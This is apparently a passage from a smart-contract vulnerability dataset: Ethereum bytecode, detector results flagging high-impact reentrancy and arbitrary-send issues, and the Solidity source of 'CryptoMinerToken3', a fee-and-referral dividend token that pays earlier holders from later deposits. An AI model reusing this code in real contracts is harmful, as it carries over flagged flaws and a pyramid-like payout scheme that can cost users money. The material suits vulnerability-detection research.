61185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfc4e064bc4734d2ce6b77e18afcc952eb8a47f7df148d4b47148bd9a12c0c5864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,926
0x3619e0299f9c3f5c6502abdabf77d246fd328ea5
pragma solidity ^0.4.25; /* * https://minertoken.io * * Crypto miner token concept * * [✓] 4% Withdraw fee * [✓] 10% Deposit fee * [✓] 1% Token transfer * [✓] 33% Referal link * */ contract CryptoMinerToken3 { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token 3"; string public symbol = "CMT3"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600a60ff16611738565b6064611773565b965061064961064288602160ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600a60ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384600460ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584600460ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600a60ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85600460ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a7230582096dffe1b48205ac334658bc267cb80346e35e993ec509d5d57a0ca1c171f6a7f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,927
